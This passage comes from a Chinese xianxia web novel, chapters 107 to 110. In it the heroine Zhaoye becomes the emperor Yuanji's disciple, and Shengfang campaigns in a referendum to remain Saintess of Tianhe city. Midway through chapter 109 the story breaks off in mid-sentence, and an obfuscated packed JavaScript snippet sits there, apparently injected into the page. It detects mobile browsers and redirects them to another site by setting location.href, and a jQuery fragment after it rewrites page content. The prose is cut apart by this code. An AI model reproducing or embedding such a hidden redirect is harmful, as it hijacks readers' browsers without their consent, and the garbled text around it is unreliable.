“帝君!”无极仙翁拱手道,声音苍老却清晰,“此女藐视君上,身负数桩嫌疑,依律本应革去仙籍,严加审讯。何况,她曾在您登位大典上……” “师父,”星允在一旁接口,语气带着刻意的恭谨与一丝不易察觉的恶意,“此女虽与青莲仙人有些旧缘,但行事莽撞无状,屡次冒犯天颜。不如交由云啼看管教导,以正规矩。” 我狠狠瞪了一眼星允,可恶的狗东西,想公报私仇?! “帝君,”瑶扇仙人也轻声细语地添了一把火,“听闻便是因她,惹得素雪与赤羽两位仙君夫妻失和。此女惯会招惹是非,此番又与宏音等人合谋,操纵所谓圣女选拔,敷衍仙宫,实在……不应轻纵。” 我转头看向火上浇油、捕风捉影的瑶扇,心中暗忖,好,很好,这笔账我记下了。 可恶,今日这是要开我的“批斗大会”么?我究竟做了什么十恶不赦之事,竟惹得这么多上仙齐齐将我视作眼中钉、肉中刺? “好了。” 渊寂似乎有些不耐,终于开口,打断了众人的七嘴八舌。他随意地挥了挥手,又专心致志钓起了鱼,“都下去吧。” 我跪得膝头酸麻刺痛,实在有些受不住,见渊寂始终没有理会我的意思,便悄悄挪动着站了起来。好奇心驱使,我偷偷朝他手边的竹篓里瞥了一眼——空空如也。 “青莲之事,终于知晓了?” 渊寂忽然开口,声音平淡无波,却让我心头蓦地一涩,眼尾瞬间又热了起来。不待我回答,渊寂侧过头,目光落在我脸上,嘴角噙着一丝难以捉摸的笑意,“青莲总算是懂了,何时该进,何时该退。便是有些孩子心性,也终有长大的一日。你也一样,照夜。” “小青他……真的在源涡池修炼吗?”我声音干涩。 “嗯,与凤琤一道。”渊寂转回头,望着湖面,“玄牝仙人所倡的阴阳双修之法,倒也并非全然是邪道。人在心神投入、放松而专注之时,往往更易感知、凝炼、驾驭仙力。你明白的,是么?” “我……我能去见他一面吗?就见一面。”我试探着,伸出手指,极轻地拽了拽渊寂玄色袍服的衣角。指尖触到衣料时,我才惊觉,那上面依旧用同色丝线绣着繁复的羽状暗纹,冰冷而华丽。 “身为仙帝,无吾谕令,任何人不得擅近源涡池。”渊寂的声音听不出情绪,“身为凤琤的父亲,我亦不愿你再涉足他们二人之间。”话音落下,渊寂却忽然转过脸,温热的指尖轻轻抬起我的下巴,迫使我迎上他的目光。那双眼里依旧没什么情感,只有一片深不见底的漠然,却又专注得令人心悸。“不过……若你愿拜吾为师,或可寻得机缘,再见他一面,也好彻底了断前尘。” “可照夜一无所长,资质愚钝,怎配拜入帝君门下……”我垂下眼睫。 渊寂低笑一声,目光投向远方那株擎天而立、流淌月华的巨木,“这世上,无人能令那样的神木重生。而你,耗尽了近乎海量的仙力,形容却未损分毫。”他的视线落回我脸上,带着评估的意味,“照夜,你或许还未真正明白自己的价值。” 就在这时,我眼角余光瞥见远处天际,一只眼熟的飞兽正疾速掠来。原本悬在半空、忐忑不安的心,竟因这熟悉的影子,奇异地落回实处。 “帝君,”我忽然抬起眼,直直望向他,“您还想将我投入丹炉,炼丹么?” “哈哈……”渊寂像是听到了什么有趣的话,捏着我下巴的手指微微收紧,他俯身凑近,气息几乎拂过我的鼻尖,“你体内仙力的‘浓度’高得有些不寻常。若贸然将你投入丹炉,恐怕只有一个结果——炸炉。” “帝君!” 匆匆赶来的宏音一把推开试图阻拦的星允,眼中凝着压抑的怒火与焦急。他快步上前,撩袍跪地行礼,动作间已不着痕迹地将我挡在了身后。 “帝君,照夜年少,若有礼数不周、冲撞之处,还请您海涵。宏音定会严加管教……” “宏音,”渊寂打断他宏音,语气悠然,“不必紧张。不会再让你失去一个‘女儿’。” 108. 第108章 天翮城第二次公投 我能感觉到,宏音暗中握住我的那只手,掌心已渗出冰冷的湿意。他的呼吸放得极轻、极缓——那是极力克制紧张的本能反应。 恰在此时,一阵熟悉到令我心悸的微风,毫无征兆地从我身后拂来。我下意识地猛然转身望去—— 空无一物。 可那风,那无形无质的风,却仿佛……停滞了。甚至,我产生了一种荒诞的错觉,它正在与我“对视”。然而我面前,除了粼粼湖光与对岸春草,什么也没有。 “如何,照夜?”渊寂的声音将我从恍惚中拽回。他好整以暇地看着我,“此刻便做出选择。拖沓与犹疑……并非好习惯。” 我艰难地抬起眼,迎向渊寂满是嘲弄和戏谑的目光,他好像一直在妄图掌控穆青和我。可眼下,我好似没什么挣扎的空间——我必须见到小青。若此刻忤逆他,我恐怕连灵璧城的边都摸不到。 喉头哽着铁锈般的涩意。我一点点,用力地,从宏音紧握的、试图阻止的手中,抽回了自己的手。 然后,我深深伏下身去,额头抵在微凉的草地上。 “帝君在上。”我听见自己的声音,平静得陌生,“照夜愿拜您为师。从此听从教诲,遵纪守法,恪守本分。请师父受徒儿一拜。” 身侧,宏音的呼吸陡然一窒。我能想象他眼中此刻该是如何的惊诧与愕然。仅仅半日之别,我的身份,我与这九霄之上至尊之人的关系,竟变得如此微妙而危险。他怎会不知,能做渊寂的弟子,从来都不是恩赐,而是需要付出昂贵代价的“殊荣”。就像星允,当年曾在竹山,叩首万次,才换得这一缕垂青。 修仙之人,素来心高气傲,视尊严若性命。故而当年星允那番举动,堪称震动三界。他不在乎旁人如何侧目讥诮,从一介籍籍无名的凡夫,耗尽心血攀至竹山门外,又怎会因一时脸面前功尽弃?他跪了,叩了,万次不止。此举虽惹来无数非议与轻蔑,却终究……落入了渊寂眼中。 渊寂曾言:星允,世人只见你叩的是山门,跪的是尘土。却不知——你叩的,实则是横亘于你道途之前的万丈心崖;你跪的,亦是你往日紧攥不放、实则一文不值的虚妄骄矜。修仙者众,惜命者多,惜‘颜面’者更甚。肯为一缕渺茫机缘,亲手碾碎傲骨、行至愚至钝之事者,万中无一。 这段往事,穆青在初晋上仙、得以听闻诸多仙界秘辛时,也曾当作轶闻讲给我听。当时的我听罢,心下感慨良多,甚至钦佩那份“心火未熄、脊骨未断”的执拗。穆青却在我感慨完后,轻轻笑了。他说,我只看到了这故事的前半段。而后半段的走向,才真正出乎意料—— 星允拜入渊寂门下后,所做的第一件事,并非感恩戴德,亦非埋头苦修。他用了整整十年,不声不响,摸清了仙庭近半数上仙的喜好、软肋与陈年旧怨。又用了二十年,将手中逐渐掌握的秘境份额、灵脉管辖权,看似慷慨地“让”予那些愿意追随他的人。至于那些不愿与他同路而行的仙人,他们的洞府灵泉会莫名枯竭,座下弟子会接连出事,仙缘口碑在无形中一落千丈,最终从“仙界口碑榜”上黯然除名,沦为无洞府、无供奉的散仙。 空出来的那些福地灵山、灵泉秘境,便成了星允手中最好的筹码。听话的、有用的,便能分得一杯羹,获一处洞天;不服的、碍事的,自有千百种“合情合理”的方式,令其“自愿”退让。不过百年光景,他麾下已悄然汇聚起一股不容小觑的势力,人人唯他马首是瞻。 而最微妙之处在于,这一切,他的师父渊寂从头到尾都看在眼里,却从未出言制止,甚至未曾有过一字评价。 最后,穆青曾轻叹一声,对我说,星允当年叩的是山门,碎的是自己的傲骨。后来他执掌的是权柄,碎的……便是他人的仙途。照夜,你只感慨他“心火未熄、脊骨未断”,却不知那未熄的心火,烧着烧着,或许就成了燎原的野心;那未断的脊骨,撑着撑着,或许就成了不容他人直身昂首的威权之柱。 其实,雷枢仙人当年痛斥渊寂的那些话,句句属实。 这仙界,光耀最盛之处,影子便也最深最沉。若仅凭一面之缘、一时之举便断言一人心性,怕是这世间最天真,也最危险的误判。恰如……从前的我。 待我恍然回神时,渊寂已伸手扶住了我的胳膊,将我轻轻带起。他嘴角噙着一抹淡笑,目光扫过一旁脸色凝重的宏音,又落回我脸上,声音平缓,听不出喜怒,“起来吧,照夜。日后,需与你诸位师兄师姐多多走动,勤加了解,彼此合作,更要……同心同德。” 真是奇怪。我从渊寂深邃的眼眸中,清晰无比地看到了戏谑、好奇与一种近乎玩味的探究。他心里分明如镜,知晓我并非真心拜师,不过是为见青莲而作的权宜之计,却并急于不戳穿我这层薄得可怜的伪装。 渊寂他……究竟想做什么呢? 尾巴醒来得知我拜师的消息,并未像宏音那般震惊,反而显出一种异乎寻常的沉稳与冷静。或许,他与我一样,心底已隐隐浮现出那个令人不安的猜测:穆青,或许出事了。 正因如此,我们必须亲自去灵璧城确认。眼下,借着“渊寂弟子”这层身份混入其中,无疑是最好,也可能是唯一的机会。 然而,宏音却彻底乱了方寸。回程的路上,他一直神情恍惚,喃喃自语。话语里七分是痛责自己未能看顾好我,才让渊寂有机可乘;三分则在埋怨尾巴只顾酣睡,未能及时阻拦我那“冲动”的一拜。他甚至不忍心开口责备我半句。 “你不如担心一下自己,方才帝君所言,可不是开玩笑。” 收拾完了我,那帮坏人便把矛头便转向了宏音。加上昆吾、无极、瑶扇、星允等上仙皆在侧,你一言我一语,言辞锋利,大有将宏音彻底钉在“失职”“僭越”罪名上的架势。 我算是看明白了,这些高高在上的仙人们,最不喜的,便是下界的“忤逆”与“自行其是”。 他们无非是揪住圣女选拔大做文章。即便盛放令月信石发光的事实无可辩驳,他们却咬定此次选拔从一开始就“名不正、言不顺”,程序存疑,结果自然无效。仙界想要的,是彻底废除天翮族圣女制度。如此一来,即便选出了圣女,也毫无意义。进而,他们又指责天翮城虽名义上归属仙界管辖,却仍保留“城主”自治之位,实属不妥。 面对责难,宏音反而镇定下来。他先是坦然承认,古老的圣女选拔之制已不合时宜,且城民信徒如今也已知晓天翮古族覆灭、历代圣女光环背后的真相。随后,他搬出了渊寂帝君先前准允的“由城民选择未来”的承诺,提议将最终决定权,交给全体天翮城民。 五日之后,举行天翮族全民公投。若超过九成城民认可盛放的圣女身份,则恳请仙界保留“月翮圣女”这一圣职。 至于那夜未曾发光的月翮壁——这本是攻击盛放资格最有力的“把柄”,此刻反倒无人深究了。或许,在这些仙人看来,在真相揭露、信仰基石已然动摇的当下,所谓圣女的象征崩塌。已是板上钉钉的事儿。更何况,盛放曾当着全城之面,发出过那样“离经叛道”的誓言。 这条消息在当晚通过云雾屏公之于众。令人有些意外的是,并未引发预想中的骚动。人们只是匆匆瞥过那行字,神情复杂,而后便沉默地散去。当初圣女选拔时万人空巷、热烈议论的景象,再也看不见了。 藏书馆内,灯火如豆。镇定下来的宏音,仿佛将外界纷争暂且搁置,只是沉浸于古籍的瀚海之中。说来可惜,当时在地底石室,他奄奄一息,未能亲见那些封存于石榴石板中的“真言”。如今,便只能通过我的转述,结合这些流于文字的记载,自行推演、破解那隐藏在繁复古天翮文背后的线索与智慧。 而我,则再次翻开了那本《月羽木护理指南》。尾巴静静趴在我手背上,光晕柔和,仿佛也在认真端详书页上描绘的翮山地脉剖面图。半晌,他才若有所思地轻声开口,“魔界有抱婴椿,人界有月羽木,仙界……曾有澜歌树。三界各有一株庇佑一方水土的灵木,倒真是……巧呢。” “可惜,”我翻动书页的手指微微一顿,想起无悔和桃夭曾提过的往事,“无悔和桃夭说,仙界的澜歌树……早已枯亡了。” 尾巴窜到我脖颈间,声音幽幽,“灵木成树,需历经漫长岁月与莫测劫难,方能以己身为界,划出一方抵御邪祟的‘净土’。说起来,这也算是为三界留下了反击膣藟的根基。当年映山都遭瘴母神祸乱,便与抱婴椿一度濒临枯亡有关。幸而……映山都焚灭后留下的厚重灰烬,反成了滋养它的养料,待水源重现,它便再度繁盛,终是护住了魔界一方安宁。” 我闻言,不禁长叹,“那仙界呢?澜歌树既已枯亡,岂不 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“那尾巴,”我急切地问,“剩下的四份在哪里?如果……能把他们都找回来,拼凑完整,小初是不是就能重新拥有真正的身体,活过来了?” “……小、小初?!”尾巴的光晕剧烈地晃动了一下,仿佛受到了极大的惊吓,他干脆飘起来,用两只光晕小手捧住我的脸晃了晃,“天呐!你们什么时候变得这么……亲密了!” 我把尾巴黏糊糊的光晕“手”拽下来,嘟囔道,“什么嘛!是他先霸占了我的‘地盘’,付出点‘代价’也是应该的。再说,不过是个称呼而已,谈什么亲密不亲密的。” “我不管!啊啊啊没有天理啊!”尾巴顿时在我肩头“炸”开,光点乱窜,他挥舞着小拳头似要与我理论,“我都没有昵称!凭什么!凭什么那个榆木脑袋、木讷少言、不通世事、不懂人情的家伙,竟然有了昵称——可恶!” 宏音恰在此时来接我回家,正撞见尾巴“张牙舞爪”与我“扭打”成一团。他有些无奈地扶额,伸手将那团激动的光晕拎了下来,语气平静却一击致命,“棋友,赢不了棋便发脾气,实在有失风度,过于幼稚了。” 这简直是钳制、拿捏尾巴的最佳理由。尾巴闻言,瞬间蔫了下来,光晕都黯淡了几分,软软地耷拉在宏音掌心,像一团失了力气、温温热热的浆糊。 日子仿佛又被拉回了一种看似平静的轨道,只是这平静之下,总渗着一丝挥之不去的、紧绷的诡异。我在默数着时日,等待随渊寂前往灵璧城的那天;宏音在沉静中,等待着全民公投尘埃落定。 而盛放,则在等待着——被仙军关押数日后,终于获得释放的阿烈与浩哥。 正午时分,我与盛放接到了这两位神情略显颓唐、胡茬青黑的叔叔。彼此相望,一时竟不知该说什么好。索性,我们顺路买了些酒菜,默契地朝着盛放在城西的那处小屋走去。 小屋依旧简陋,却收拾得整洁。众人围坐在小桌前,气氛起初有些微妙的尴尬,只听得见碗筷轻微的碰撞声。浩哥闷头钻进窄小的灶间,不多时便端出两盘热气腾腾的家常小菜,又为每人都斟了满满一碗色泽清冽的花水烧酒。 浩哥端起自己那碗酒,却没有立刻喝,目光落在盛放低垂的侧脸上,忽然开口,声音有些沙哑,却字字清晰,“盛放,别放弃,别服输,别犹豫,别……自己怀疑自己。” “咱们永远站你这边。”阿烈接过话头,仰头狠狠灌了一大口酒。那酒性极烈,烧得他喉咙滚动,眼圈瞬间就红了,不知是酒气上头,还是心绪激荡,“你的本事,大家伙儿那晚都看得真真儿的!明天一早,咱们就投票去!” 盛放摩挲着颈间那枚温润的月信石吊坠,指尖微微发颤。她抬起头,眼尾本就泛红,此刻更是湿润,“可他们……不会选我了。我在决赛时,说了那样大逆不道的话……况且,我根本没有能力令月翮壁发光。”她的声音低了下去,充满疲惫与自我厌弃,“到头来,我不仅辜负了大家的期望,还……伤害了阿娘生前最敬重的‘圣女’,玷污了她们的一片赤诚和苦心。” 浩哥用力眨了眨酸涩的眼睛,将翻涌的情绪压下去。他放下酒碗,粗糙的手掌在膝盖上搓了搓,仿佛下定了决心,缓缓讲起了那段尘封的、关于他与丽娘相识的故事。 109. 第109章 丽娘是从映山都逃至刃柱城的。那时节,长烬海几近枯竭,映山都结界又封闭严实,仅有细小裂隙可容挣扎。无数魔族子民如渗水般从裂缝中涌出,流离失所。丽娘便是那时,穿过了天翮城外的死人沟,辗转逃入魔界,又随着茫然的流民潮,最终漂泊到了刃柱城。正在码头边给自己那艘旧船上防腐漆的浩哥,就这样“捡”到了那个满面尘灰、眼神却清亮得惊人的姑娘。 那些年,逃难而来的魔族实在太多,浩哥早已见怪不怪。可不知为何,那个沉默瑟缩、却脊背挺直的纤瘦身影,一下子攥住了他全部的目光。 身为天翮族精心培养的信女,丽娘的容貌自然出众,即便尘土掩面,也难掩那份骨子里的清丽与后来渐渐显露的娇媚。两个孤独的灵魂在陌生的城池相遇,一眼便是万年。没有太多曲折,他们便成了亲,在这远离故土的地方,构筑起一个虽清贫却温暖的小家。 谈及丽娘后来的离开,盛放也从彤宝姑姑那里知晓了全部缘由。当年,信女私自出逃一事被化西、归德两城死死揪住,天翮城承受着巨大的压力。丽娘得知后,毅然决定回去“自首”。路上,她捡到了身为无人认领“胎果”的盛放。她那时便想,或许这个小丫头,能替她将藏在家中的那点微薄积蓄带出去,交给浩哥,让他修好那艘念叨了许久、却总也舍不得花钱修理的破船。 后来的事,众人皆知。浩哥误以为丽娘嫌贫爱富,一走了之,多年不敢也不愿去寻;丽娘为了不令月教院授人以柄,不让棠梨圣司当年的牺牲心血白费,最终选择了以最决绝的方式平息风波。可即便如此,化西、归德某些人的恶意并未止息,连丽娘收养的孤女盛放,也被刻上了象征“不贞”与“污点”的耻辱刺青,赶出了天翮城。 我若是盛放,恐怕也会对这扭曲的信仰与陈腐的旧俗恨之入骨。可我们都明白,光是憎恨,解决不了任何问题。 是夜,我与盛放漫无目的地散步至玉轮湖畔。暮色正缓缓沉降,天边残存着最后一缕绛紫。不少城民带着孩童在湖边嬉戏,水声与笑语交织。盛载着天涧寒泉的湖泊,此刻并未如《太愚行记》中所载那般,焕发出任何奇异的光辉,它只是静静躺在那里,像一面巨大而沉默的墨玉镜子,映着渐浓的夜色与初现的星子。 “照夜,”盛放停下脚步,望着湖心微漾的波光,犹豫了许久,才轻声道,“其实你才是那个该成为圣女的人。我不该,也不能……霸占如此重要的身份。” “其实我也不是。”我笑了笑,伸手接住一片随风飘落的银白月羽花,“实话告诉你吧,我曾因一场意外……彻底死过一回。是一颗‘鸿珠仙丹’的机缘,成了维系我这副身躯的核心。那夜令月信石发光的,是那颗‘核心’原主的力量,并非源于我自身。”我转回头,坦然望进盛放惊讶的眼睛,“我天生没有灵关窍,从根本上……就无法凝炼仙力。所以,我根本不可能有能力让它发光。” “照夜……”盛放眼中泛起更浓的水光。 我握住盛放微凉的手,声音放得更缓,“再说,我也是个弃婴。听我阿爹讲,那年大旱,一群流民往月下州逃荒,路过小苹村时,就把襁褓中的我扔在了路边。是阿爹捡了我回去。其实那一年,他自己也几乎颗粒无收,饿得只剩一把骨头。” 盛放闻言,再也忍不住,低声呜咽起来。这些时日积压的彷徨、委屈、自责与重重压力,似乎在这一刻找到了宣泄的出口。那个曾经神采飞扬、带着几分莽撞侠气的“法外狂徒”,此刻脆弱得像个迷路的孩子。 “别哭,盛放,都过去了。”我揽住盛放微微颤抖的肩膀,“我阿爹以前常说,人的眼睛之所以没长在后脑勺上,正是因为人必须得向前看。”想起往事,我自己也忍不住笑了,“其实那是因为我总走路不看路,好几次摔进田里,弄得浑身泥巴,他才这么训我。不过……我一直觉得,阿爹这话很有道理。你觉得呢?” 盛放破涕为笑,用力点了点头,鼻音浓重,“嗯……得向前看。” “公投就在眼前了。虽然不知道结局究竟如何,但看宏音那副毫无忧色、胸有成竹的样子,他心里大概是有数的。”我望向那株流淌着静谧月华的巨木,“上次,我们相信了‘天降奇迹’。这一回,要不要试着相信……‘事在人为’?” 夜风拂过湖面,带来月羽木清冽的微香。盛放沉默了片刻,随即用力抹去脸上残留的泪痕,抬起眼。那双曾盛满忧伤迷茫的眸子深处,仿佛有什么东西被点燃了,亮起一簇微弱却顽强的火光。 “我要当圣女。”盛放的声音不大,却带着斩钉截铁的力度,在夜色中清晰可闻,“我要废止天翮族那些吃人的旧俗,我要——学着棠梨圣司大人,还有我阿娘的样子——用我自己的方式,去守护这片土地,和这片土地上的人。” 实难想象,曾因“偷渡”之罪被投入阴冷地刑司的无名胎果,那个背负着“不贞不洁不忠不诚”刻印、被众人唾弃的“法外狂徒”盛放,在一夜之间,竟做成了三件足以撼动天翮城根基的大事。 第一件,深夜,盛放径直寻至聆月使、天翮城主宏音面前,以圣女圣司待选唯一人选的身份,要求启用连通全城的云雾屏,向全体天翮城民发表一份公告。 第二件,盛放召集了月教院所有信女,拿出了当初为圣女选拔造势时那份近乎狂热的劲头,分组分区,走上街头,敲开每一扇可能开启的门,向每一个驻足的路人,陈情、游说、争取那至关重要的一票。 第三件,天色未明,盛放孤身踏入无辰院,面见驻守天翮城的仙使代表——星允。没有怯懦,没有迂回,她清晰而坚定地宣告了自己的立场,这一次,她要堂堂正正,经由全体天翮城民的意志投票,成为真正的月翮圣女,成为真正的——圣女圣司! 天光将明未明,我正陷在沉酣的睡梦里,汀汀又一次用她“行之有效”的方式将我唤醒——猛地掀开温暖的锦被。对此,她自有她那一套理直气壮的说辞:这样醒得最快。 这一夜外界兵荒马乱,盛放的拥护者们忙得脚不沾地,制作传单、划分区域、动员游说……仿佛全城只有我一人,在这片喧嚣中睡得昏天黑地。 我慌忙地要爬起床洗漱,一边问汀汀,“我能帮上什么忙?” 这小丫头只是眨了眨那双看似无辜的大眼睛,手脚麻利地把我又塞回被窝里,“您是贵客,这等杂事怎好劳烦。您呀,就负责好好歇着便是。” “啊?那你特意叫醒我干嘛?” 汀汀顶着一张纯良无比的小脸,理所当然道,“这么重要的事儿,当然得第一时间告知您呀!” 说罢,她便像只灵巧的雀儿,一溜烟跑没影了。 尾巴倒是安逸,缩在我衣襟里,随着呼吸微微起伏,睡得正沉,丝毫未被惊扰。 我无奈,想着还能睡个回笼觉,刚重新裹紧被子酝酿出一点睡意,温暖的遮蔽物竟再次被人掀开!我怒气冲冲地正要睁眼,脸颊上却忽然贴来一片柔软温热的触感。 睁开眼,果然是宏音。他带着一身未散的夜露清寒气息,眼下有淡淡的青影,显然是忙了整整一个通宵,此刻才得空回来。 “贪睡虫,”宏音带着倦意的声音里含着一丝笑意,“春天都到了,你怎么反倒像是要准备冬眠了?” “你来得正好!”我抓住宏音的衣袖,精神一振,“我有事要求你——” 宏音到底是老练,一眼便看穿了我的心思,想都没想就截断了我的话,“别打歪主意。这次公投,由无极仙翁亲自监督记票。拉票游说,仙界默许;但若想暗中操纵票数……”他摇了摇头,语气不容置疑,“绝无可能。” “什么嘛!”我泄气地嘟囔,“那无极老头自己掌管仙碑司时,不也纵容过‘买榜’的勾当?这会儿倒装起铁面无私来了……” 宏音低笑一声,不再接这个话题,转而问道,“如何?要去看看盛放即将开始的演说么?就快开始了。” “什么——?!”我惊得差点从床上跳起来,“汀汀这丫头真是……这么要紧的事居然不说明白!害我差点误了时辰!” 胡乱抹了把脸,我便跟着宏音匆匆赶往城中大广场。天色虽才初亮,整座城却仿佛提前苏醒了,到处是乌泱泱的人群。一路上,帮忙散发传单、急切游说城民的天翮军士与信女们络绎不绝。大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549575|204291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 街小巷涌动着嗡嗡的议论声,紧张而明确——此番公投,只有两个选择,要么选盛放,要么选择废除圣女制度,由仙界直接派上仙接管。 没有第三条路,没有复杂的计分与权衡。若盛放的支持票无法超过九成,天翮族延续千年的圣女圣司之制,便将自此成为史书上一笔黯淡的过往。 今日,宏音卸下了聆月使与城主的身份,只随我隐在涌动的人潮之中。他不以主持者的姿态立于高台,仅仅作为一名天翮族人,站在这里,为族群未来的道路,投下自己微薄却郑重的一票。 天光大亮,晨晖为巍峨的翮山与那擎天的月羽木镶上一道金边。巨大的云雾屏骤然亮起,盛放的身影清晰地出现在所有仰望的视线中央。 彻夜未眠,盛放眼中布满血丝,面容带着疲惫,可她的神情,却从未像此刻这般镇定、肃然、光芒内蕴。 无数道目光,沉甸甸地落在她身上。 盛放深深吸了一口气,抬手紧紧握住了颈间那枚隐隐流转温润光华的月信石吊坠,仿佛从中汲取着力量。随后,在万人屏息的寂静中,她昂首,发出了作为唯一圣女候选者的宣言: “诸位天翮城的城民、天翮族的信徒、所有共沐于这片月辉之下的人们——” “今日,我盛放,以月翮圣女唯一候选者之身,需向诸位坦言一个真相——正如大家近日所闻,千年前,真正的天翮古族,已覆灭于翮山地火。我等血脉,实为当年受古族收留庇护的流民之后。” 我心头一紧,下意识攥住了衣袖。身旁的宏音,掌心竟也微微渗出湿意,他凝视着云雾屏的身影,目光复杂。 “然——”盛放的声音陡然提高,清亮而坚定,“流民之后,又如何?我等依古训、守翮山、护此间生民,千年未辍!血脉或可追伪,但这片土地上,一代代人的守护之心,却真真切切,延续了千年!” 盛放略作停顿,目光如炬,缓缓扫过,仿佛与下方每一双眼睛对视。 “其次,我亦以一名信女养女的身份向诸位承认——我生于‘胎果’,养于阿娘。我脸上的刺青,是我亲眼所见,圣女之制如何苛如冰刃,剥蚀人情,断绝人欲!故此旧制,我深恶痛绝!” 说到此处,盛放声如金石掷地,激起无数人心头涟漪。 “故,我今日在此立誓,若我为圣女,首革此弊!去陈规,开生路,还天翮以人之温情,以城之新生!圣女非为冰冷祀器,当为薪火——燃尽旧历,照亮新世!” 宏音眼中掠过一丝欣慰与感慨,他喃喃道,“小小的人儿,却怀揣如此鸿鹄之志。我们这些旧时代的‘老东西’,或许……真该让位了。” “她可是‘法外狂徒’,”我轻声回应,心底涌起一股与有荣焉的暖流,“她什么都敢想,也什么都——敢做!” 云雾屏上,盛放在越发高涨的声浪中上前一步,身姿挺拔如竹,声音穿透晨曦,迸发着不容置疑的力量。 “此番公投,非为抗逆仙界,而为印证一言——纵是流民之后,纵居‘伪名’之下,我辈亦有不摧之志,不灭之心!今,盛放恳请诸君与我同心,我辈非死物,非天地间任人取用的耗材,我等乃是——火种!” 盛放扬起手臂,指向山巅那沐浴晨光的月羽巨木,声浪攀至顶峰。 “予一点星火,便可——燎原万里,光照九天!” “好!好一番豪情壮志!这才是我们天翮族需要的圣女!”鲛人无悔在人群中激动地挥起拳头,通透的肌肤因激昂而泛起绯红。 “圣女圣司大人!我永远追随您——!”桃夭的呼喊带着近乎狂热的虔诚,瞬间点燃了更多人的情绪。 紧接着,人群中迸发出持续而热烈的轰鸣!有激动呐喊的,有掩面痛哭的,有感同身受奋力挥手的,亦有面带疑虑、交头接耳的……百态纷呈,却皆被这宣言的力量所撼动。 最后,盛放的话语随着晨风,伴着空中飘洒的、清冽如月华的羽花幽香,缓缓落下,却重重敲在每个人心间。 “信我者,请随我行。不愿者,可观我证——” “天翮之名可溯伪,天翮之魂——永真!” 110. 第110章 开口说话的月羽木 轰轰烈烈的全民公投,就此拉开序幕。 没有花哨繁琐的“十二艺”比拼,没有矫揉造作的“圣女言行”模仿。所有天翮城民、信徒,乃至新近获得户籍的移民,人手一票,身份明晰,无从作伪,不可操纵。 每一个人,都手握一枚无形的砝码,共同决定着—— 天翮族的血脉与精魂,究竟将流向何方。 无极仙人司掌仙碑司,自仙界口碑榜设立以来,便由他执掌计票与更新之责。他的仙力确有独到之处,此次公投,他便就地取材,以玄妙术法构筑了一株剔透的月羽木虚影,用以承载万民之选。 投票方式颇为奇异,选民无需笔墨,只需立于虚树之前,亲口道出心中所向——“支持盛放为圣女”,抑或“赞成废除圣女之制”。其声入树,其意自明。每得一票支持,那原本虚幻透明的树干便会自上而下,被一缕温润的月白光华填充一分;若中途有人反悔改意,先前所投之票便会在树中自然消泯,虚树亦不会再记录其二次表态。重复投票者,其声纹心意亦会被虚树甄别,归于“无效”。 至少从表面看来,此次公投的机制,确实称得上公允严明,难有作伪之隙。 公投结束前两日的傍晚,我投出了自己那一票。仰望着那株高耸却仍有大半处于透明虚无状态的巨树虚影,我心中不免浮起忧虑——距离整棵树被认可的光华完全填满、直至枝繁叶茂的景象,似乎还遥遥无期。 “别太担心,”身旁的无悔似乎看穿我的心思,拍了拍我的肩膀,“宏音大人他会有办法的。” 我望着远处聆音石府的方向,叹了口气,“他整日埋头在藏书馆,忙着破译那些天翮古文字,哪里还有心思管这个。我看他……倒像是彻底‘破罐子破摔’了。” 无悔闻言,噗嗤一声笑了出来,摇摇头,“你啊,对宏音了解得还是太少。他可不是什么‘破罐子’。若真是无用之物,仙界何须如此大费周章、软硬兼施地想要诏安他?”无悔压低了声音,眼中闪过一丝锐光,“行动力、决断力、乃至深藏不露的战力,他皆属一流。哼,这等人物,渊寂岂会不想方设法……驯服他,纳为己用?” 我沉默片刻,终究还是将自己被迫拜入渊寂门下的事,低声告知了无悔。 话音未落,这位向来带着几分玩世不恭的鲛人,瞬间瞪大了那双好看的眼眸,瞳孔都似震了一下,“什么?!开什么玩笑!你、你是不是在唬我?!” 待我涩声解释完其中被迫的缘由,无悔先是愣住,随即竟气极反笑,嘴角因过度的震惊与荒谬感而微微抽动,“好,好,好……原本还苦于没有门路接近那位帝君,如今这机会……倒是自己撞上门来了。很好。” 我立刻警惕地瞥了无悔一眼,抬脚便想离开,“少来这套。自从到了这天翮城,你们这帮家伙,可没少‘照应’我,坑得我够惨了。” 无悔这家伙,此刻哪还有半分传说中鲛人族清冷出尘的模样,简直死皮赖脸到了极点。他一把抱住我的胳膊,语气黏糊得令人起鸡皮疙瘩,“哎呀,小照夜~小仙丹~小八~~出门在外靠朋友,互相照应嘛——” “什、什么小八!”我顿时涨红了脸,又羞又恼,拼命想把自己的胳膊从无悔怀里抽出来,“再胡言乱语,小心我铁拳打掉你的牙!” 就在这时,闷头沉睡了好几日的尾巴,终于悠悠转醒。他刚从我衣襟里探出一点光晕,便瞧见无悔正“纠缠”着我,当即“啪嗒”一声,整个光团如离弦之箭般扑到无悔脸上,左右开弓地拍打,“可恶,放开照夜的大腿,那是我的!” 眼看尾巴闹腾得差点让无悔窒息,我这才得意地将意犹未尽的尾巴拽回来,冲着一脸无奈的鲛人哼道,“臭鲛人,休想再打我的主意!” 跑出一段距离,尾巴还伏在我肩头,光晕笑得一颤一颤,“这些家伙,可算是黏上你了,甩都甩不掉。” “我还有很重要的事要做,”我望着天边渐沉的暮色,轻声道,“待在这里的每一天,都让人觉得度日如年。” “……”尾巴轻轻叹了口气,柔软的光晕蹭了蹭我的脸颊,“别怕。我陪你去。找到青莲,我帮你好好问问他。他必须,给你一个清清楚楚的交代。” “话说回来,你这几天到底干嘛去了?睡得昏天黑地。” 尾巴“嘿嘿”一笑,光晕里透出一股狡黠又满足的意味,“这不是……最近人多,密密麻麻的嘛。时机难得,我就从每个人身上都悄悄地、小小地‘舔’了一口,薅那么一丁点儿仙力嘛……积少成多,嘿嘿。” 我脚下一个趔趄,眼前仿佛一黑,气得舌尖都发木,“不准这样!太、太不讲卫生了!” 